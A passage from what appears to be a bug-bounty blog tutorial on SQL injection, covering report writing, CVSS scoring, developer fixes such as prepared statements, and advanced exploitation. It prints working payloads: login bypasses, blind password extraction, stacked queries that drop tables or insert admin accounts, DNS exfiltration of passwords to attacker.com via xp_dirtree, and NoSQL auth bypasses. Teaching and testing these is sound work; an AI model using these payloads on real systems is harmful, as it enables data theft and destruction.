1. Video\/GIF Screen Recording<\/strong><\/h3>\n

Show yourself exploiting the bug (e.g., dumping DB data).<\/p>\n

2. Curl Command or HTTP Request<\/strong><\/h3>\n

curl -X POST “https:\/\/example.com\/login” -d “username=admin’ OR 1=1–&password=123”<\/p>\n

3. Screenshots of Exploitation<\/strong><\/h3>\n

Database errors, dumped data, or time delays.<\/p>\n

Pro Tip:<\/strong><\/p>\n

For blind SQLi<\/strong>, show a time-based delay comparison<\/strong> (normal vs. exploited).<\/p>\n

8.3 Severity Classification (CVSS Scoring)<\/strong><\/h3>\n

Companies use CVSS (Common Vulnerability Scoring System)<\/strong> to rank bugs.<\/p>\n

SQLi Severity Examples:<\/strong><\/h3>\n

Severity<\/strong>CVSS Score<\/strong>Example Scenario<\/strong>Critical<\/strong>9.0+SQLi in admin panel leading to full DB dump.High<\/strong>7.0-8.9Blind SQLi leaking user emails.Medium<\/strong>4.0-6.9Limited SQLi with low-impact data exposure.<\/p>\n

How to Calculate CVSS:<\/strong><\/p>\n

Use NVD\u2019s CVSS Calculator<\/a>.<\/p>\n

8.4 Communicating with Security Team<\/strong><\/h3>\n

Do\u2019s:<\/strong><\/h3>\n

Be professional<\/strong> (no \u201clol I hacked u\u201d messages).
Follow their disclosure policy<\/strong> (check their bug bounty program).
Respond quickly<\/strong> if they ask for more details.<\/p>\n

Don\u2019ts:<\/strong><\/h3>\n

Demand payment upfront<\/strong> (they\u2019ll ghost you).
Threaten public disclosure<\/strong> (blackmail = banned).
Spam follow-ups<\/strong> (wait 7-14 days before checking in)<\/p>\n

Real-World Example Report<\/strong><\/h3>\n

Title:<\/strong> Time-Based Blind SQL Injection in \/user\/profile (Leaks PII)<\/p>\n

Steps to Reproduce:<\/strong><\/p>\n

Visit https:\/\/example.com\/user\/profile?id=1<\/p>\n

Inject: id=1′ AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)=’a’,SLEEP(5),0)–<\/p>\n

Observe 5-second delay if first character = \u2018a\u2019<\/p>\n

Impact:<\/strong><\/p>\n

Allows extraction of hashed passwords, emails, and other PII.<\/p>\n

Remediation:<\/strong><\/p>\n

Use prepared statements: “SELECT * FROM users WHERE id = ?”<\/p>\n

PoC:<\/strong><\/p>\n

[Video]() | [Screenshot]() | [Curl Command]()<\/p>\n

Key Takeaways<\/strong><\/h3>\n

Write a clear, detailed report<\/strong> (title, steps, impact, fix).
Include a PoC<\/strong> (video, command, or screenshots).
Rate severity properly<\/strong> (CVSS 7.0+ = better payout).
Be professional<\/strong>\u2014no threats or demands.<\/p>\n

Now go submit that report and get paid!<\/strong> <\/p>\n

Mitigation & Best Practices for Developers \u2013 Stop SQLi Before It Starts<\/strong><\/h2>\n

So you\u2019re a developer, and you never<\/strong> want your app to end up in a bug bounty report (or worse, a data breach). Here\u2019s how to prevent SQL injection<\/strong> like a pro.<\/p>\n

9.1 Parameterized Queries (Prepared Statements) \u2013 The #1 Fix<\/strong><\/h3>\n

What It Does:<\/strong><\/h3>\n

Separates SQL code<\/strong> from user input<\/strong>, making injection impossible.<\/p>\n

How to Use It:<\/strong><\/h3>\n

Python (SQLite Example)<\/strong><\/h4>\n

# UNSAFE (SQLi vulnerable)
\nquery = “SELECT * FROM users WHERE username = ‘” + user_input + “‘”<\/p>\n

# SAFE (Parameterized)
\nquery = “SELECT * FROM users WHERE username = ?”
\ncursor.execute(query, (user_input,))<\/p>\n

PHP (MySQLi)<\/strong><\/h4>\n

\/\/ UNSAFE
\n$query = “SELECT * FROM users WHERE username = ‘” . $_POST[‘user’] . “‘”;<\/p>\n

\/\/ SAFE
\n$stmt = $conn->prepare(“SELECT * FROM users WHERE username = ?”);
\n$stmt->bind_param(“s”, $_POST[‘user’]); \/\/ “s” = string type
\n$stmt->execute();<\/p>\n

Java (JDBC)<\/strong><\/h4>\n

\/\/ UNSAFE
\nString query = “SELECT * FROM users WHERE username = ‘” + input + “‘”;<\/p>\n

\/\/ SAFE
\nPreparedStatement stmt = conn.prepareStatement(“SELECT * FROM users WHERE username = ?”);
\nstmt.setString(1, input); \/\/ 1 = first parameter<\/p>\n

Why It Works:<\/strong><\/p>\n

User input is treated as data, not code<\/strong>.<\/p>\n

Even if someone injects ‘ OR 1=1 –, it won\u2019t execute.<\/p>\n

9.2 Input Validation & Sanitization \u2013 Second Line of Defense<\/strong><\/h3>\n

1. Whitelist Allowed Inputs<\/strong><\/h3>\n

For numbers:<\/strong> Ensure input is actually a number<\/strong>.<\/p>\n

if not user_id.isdigit():
\n raise ValueError(“Invalid ID”)<\/p>\n

For strings:<\/strong> Allow only expected characters<\/strong> (e.g., alphanumeric).<\/p>\n

if (!preg_match(‘\/^[a-zA-Z0-9]+$\/’, $username)) {
\n die(“Invalid username”);
\n }<\/p>\n

2. Escape Inputs (If You Must Use Raw Queries)<\/strong><\/h3>\n

PHP:<\/strong> mysqli_real_escape_string()<\/p>\n

Python:<\/strong> Use DB-specific escape functions.<\/p>\n

Warning:<\/strong> Escaping is not enough<\/strong>\u2014use parameterized queries first!<\/p>\n

9.3 Least Privilege for Database Users \u2013 Limit the Damage<\/strong><\/h3>\n

Key Rules:<\/strong><\/h3>\n

Application DB user should ONLY have:<\/strong><\/p>\n

SELECT (for read operations)<\/p>\n

INSERT\/UPDATE\/DELETE (if needed) <\/p>\n

Never grant:<\/strong><\/p>\n

FILE (can read\/write server files)<\/p>\n

DROP (can delete tables)<\/p>\n

GRANT (can escalate privileges)<\/p>\n

Example (MySQL):<\/strong><\/h3>\n

CREATE USER ‘app_user’@’localhost’ IDENTIFIED BY ‘securepassword’;
\nGRANT SELECT, INSERT ON app_db.* TO ‘app_user’@’localhost’;<\/p>\n

9.4 Web Application Firewalls (WAFs) \u2013 Emergency Protection<\/strong><\/h3>\n

What WAFs Do:<\/strong><\/h3>\n

Block common SQLi payloads (UNION SELECT, SLEEP(), etc.).<\/p>\n

Examples:<\/strong> Cloudflare, ModSecurity, AWS WAF.<\/p>\n

Limitations:<\/strong><\/h3>\n

Not foolproof<\/strong> (attackers bypass them daily).<\/p>\n

False positives\/negatives<\/strong> (can block legit traffic or miss attacks).<\/p>\n

Best Practice:<\/strong><\/p>\n

Use WAFs temporarily<\/strong> while fixing the root cause (parameterized queries).<\/p>\n

9.5 Regular Security Testing \u2013 Catch Bugs Early<\/strong><\/h3>\n

1. Automated Scanners<\/strong><\/h3>\n

SQLmap<\/strong> <\/a>(for testing your own apps)<\/p>\n

OWASP ZAP \/ Burp Suite<\/a><\/strong> (for manual + automated checks)<\/p>\n

2. Code Reviews<\/strong><\/h3>\n

Check for:<\/strong><\/p>\n

String concatenation in SQL (“SELECT * FROM ” + table)<\/p>\n

Raw queries without sanitization<\/p>\n

3. Penetration Testing<\/strong><\/h3>\n

Hire ethical hackers to test your app before attackers do<\/strong>.<\/p>\n

Key Takeaways for Developers<\/strong><\/h3>\n

Use parameterized queries<\/strong> (prepared statements) \u2013 the #1 fix<\/strong>.
Validate & sanitize inputs<\/strong> (but don\u2019t rely on this alone).
Restrict DB user permissions<\/strong> (least privilege principle).
Deploy a WAF<\/strong> as a temporary shield (not a permanent solution).
Test regularly<\/strong> (scanners, code reviews, pentests).<\/p>\n

SQLi is 100% preventable\u2014if you code defensively.<\/strong> <\/p>\n

Advanced SQL Injection Techniques \u2013 Next-Level Exploitation<\/strong><\/h2>\n

You\u2019ve mastered the basics\u2014now let\u2019s level up<\/strong>. These advanced SQLi techniques help you bypass tougher defenses, exploit niche scenarios, and escalate attacks further.<\/p>\n

10.1 Stacked Queries (Multiple Statements in One Shot)<\/strong><\/h3>\n

What It Is:<\/strong><\/h3>\n

Executes multiple SQL queries<\/strong> in a single input (e.g., SELECT * FROM users; DROP TABLE logs–).<\/p>\n

Where It Works:<\/strong><\/h3>\n

MSSQL<\/strong> (; supported by default).<\/p>\n

MySQL<\/strong> (if mysqli_multi_query() is used).<\/p>\n

PostgreSQL<\/strong> (sometimes).<\/p>\n

Example Attack:<\/strong><\/h3>\n

‘; DROP TABLE users; —<\/p>\n

(Deletes the entire users table\u2014dangerous!)<\/em><\/p>\n

Real-World Use Cases:<\/strong><\/h3>\n

Bypassing login pages:<\/strong><\/p>\n

‘; INSERT INTO admins (user, pass) VALUES (‘hacker’, ‘pwned’); —<\/p>\n

Blind data exfiltration via DNS:<\/strong><\/p>\n

‘; DECLARE @data VARCHAR(1024); SET @data=(SELECT password FROM users); EXEC(‘master..xp_dirtree “\\’+@data+’.attacker.comshare”‘); —<\/p>\n

Warning:<\/strong><\/p>\n

Stacked queries are often blocked<\/strong> by WAFs.<\/p>\n

Works only if the app allows batch execution<\/strong>.<\/p>\n

10.2 DNS Exfiltration for Blind SQLi (Stealthy Data Theft)<\/strong><\/h3>\n

When to Use It:<\/strong><\/h3>\n

The app doesn\u2019t show errors or data<\/strong> (blind SQLi).<\/p>\n

You need to leak data silently<\/strong> (avoid WAF detection).<\/p>\n

How It Works:<\/strong><\/h3>\n

Force the database to make a DNS lookup<\/strong> to your server.<\/p>\n

Embed stolen data in the subdomain<\/strong>.<\/p>\n

Check your DNS logs\u2014data is leaked!<\/strong><\/p>\n

Example (Microsoft SQL Server):<\/strong><\/h3>\n

‘; DECLARE @data VARCHAR(100); SET @data=(SELECT password FROM users WHERE username=’admin’); EXEC(‘master..xp_dirtree “\\’+@data+’.attacker.comshare”‘); —<\/p>\n

If the admin\u2019s password is S3cr3t!, your DNS server gets a request for:<\/p>\n

S3cr3t!.attacker.com<\/p>\n

Supported Databases:<\/strong><\/h3>\n

DatabaseMethodMSSQL<\/strong>xp_dirtree, xp_fileexistOracle<\/strong>UTL_HTTP, UTL_INADDRMySQL<\/strong>LOAD_FILE() (requires file privileges)PostgreSQL<\/strong>COPY TO PROGRAM (rare)<\/p>\n

Pros:<\/strong>
Bypasses most WAFs<\/strong> (DNS traffic looks harmless).
Works in fully blind scenarios<\/strong>.<\/p>\n

Cons:<\/strong>
Requires DNS callback setup<\/strong> (use Burp Collaborator or interact.sh).<\/p>\n

10.3 Exploiting NoSQL Injection (MongoDB, Firebase, etc.)<\/strong><\/h3>\n

What\u2019s Different?<\/strong><\/h3>\n

NoSQL databases (MongoDB, CouchDB) use JSON-like queries<\/strong>, not SQL.<\/p>\n

Classic ‘ OR 1=1 won\u2019t work\u2014but logic manipulation<\/strong> does.<\/p>\n

Example (MongoDB Injection):<\/strong><\/h3>\n

Normal Query:<\/strong><\/p>\n

db.users.find({user: “admin”, pass: “123”})<\/p>\n

Injected Query (Bypass Login):<\/strong><\/p>\n

{“user”: “admin”, “pass”: {“$ne”: “”}}<\/p>\n

Translates to: \u201cFind user admin where password is not empty\u201d<\/em> \u2192 logs in!<\/strong><\/p>\n

Other NoSQL Payloads:<\/strong><\/h3>\n

Extract data:<\/strong><\/p>\n

{“user”: {“$regex”: “.*”}, “pass”: {“$ne”: “”}}<\/p>\n

Boolean-based exfiltration:<\/strong><\/p>\n

{“user”: “admin”, “pass”: {“$gt”: “”}} # True if pass exists<\/p>\n

Tools to Exploit NoSQLi:<\/strong><\/p>\n

NoSQLmap<\/strong> (automates exploitation)<\/p>\n

Burp Suite<\/strong> (manual testing)<\/p>\n

10.4 Second-Order SQLi (The Silent Killer)<\/strong><\/h3>\n

What It Is:<\/strong><\/h3>\n

Your input is stored<\/strong> and used later in an unsafe query<\/strong>.<\/p>\n

Harder to detect because exploitation is delayed<\/strong>.<\/p>\n

Example Attack:<\/strong><\/h3>\n

Sign up<\/strong> with username: admin’ —<\/p>\n

Later, the app runs:<\/p>\n

UPDATE users SET last_login=NOW() WHERE username=’admin’ –‘<\/p>\n

Result:<\/strong> All users get updated because — comments out the rest!<\/p>\n

Where to Find It:<\/strong><\/h3>\n

Profile updates<\/strong><\/p>\n

Password reset functions<\/strong><\/p>\n

Comment systems<\/strong><\/p>\n

How to Test:<\/strong><\/p>\n

Submit malicious inputs<\/strong>, then trigger secondary actions<\/strong> (e.g., profile edits).<\/p>\n

10.5 Time-Based Bypass for Heavy WAFs<\/strong><\/h3>\n

When All Else Fails:<\/strong><\/h3>\n

If a WAF blocks SLEEP(), try heavy queries<\/strong> to cause delays.<\/p>\n

Example (MySQL):<\/strong><\/h3>\n

‘ AND (SELECT COUNT(*) FROM information_schema.columns A, information_schema.columns B) —<\/p>\n

Joins huge tables<\/strong> \u2192 slows down the response.<\/p>\n

Alternative Delays:<\/strong><\/h3>\n

Hash collisions<\/strong> (CPU-intensive):<\/p>\n

‘ AND MD5(CONCAT(REPEAT(‘a’,1000000),RAND())) LIKE ‘0%’ —<\/p>\n

Key Takeaways<\/strong><\/h3>\n

Stacked queries<\/strong> \u2192 Execute multiple commands (MSSQL\/MySQL).
DNS exfiltration<\/strong> \u2192 Steal data silently in blind SQLi.
NoSQLi<\/strong> \u2192 Bypass auth with $ne, $gt, $regex.
Second-order SQLi<\/strong> \u2192 Poison the DB for future attacks.
Time-based bypasses<\/strong> \u2192 Heavy queries instead of SLEEP().<\/p>\n

These techniques separate script kiddies from pros.<\/strong> Use them wisely!<\/p>\n

SQL injection is a\u00a0classic vulnerability<\/strong>, but it\u2019s far from dead. The best hunters\u00a0adapt, innovate, and stay curious<\/strong>.<\/p>\n

Now go out there,\u00a0find those bugs<\/strong>, and\u00a0get paid<\/strong>! <\/p>","protected":false},"excerpt":{"rendered":"

Picture this: You\u2019re testing a website, and with a simple tweak to a login form\u2014BAM!\u2014you trick the database into spilling its secrets. No password? No problem. That\u2019s the power of SQL Injection (SQLi), one of the most dangerous (and profitable) vulnerabilities in web security. Despite being around for decades, SQLi remains a goldmine for bug […]<\/p>\n","protected":false},"author":0,"featured_media":3388,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-3387","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog"],"_links":{"self":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/posts\/3387"}],"collection":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"replies":[{"embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3387"}],"version-history":[{"count":0,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/posts\/3387\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/media\/3388"}],"wp:attachment":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3387"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3387"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3387"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}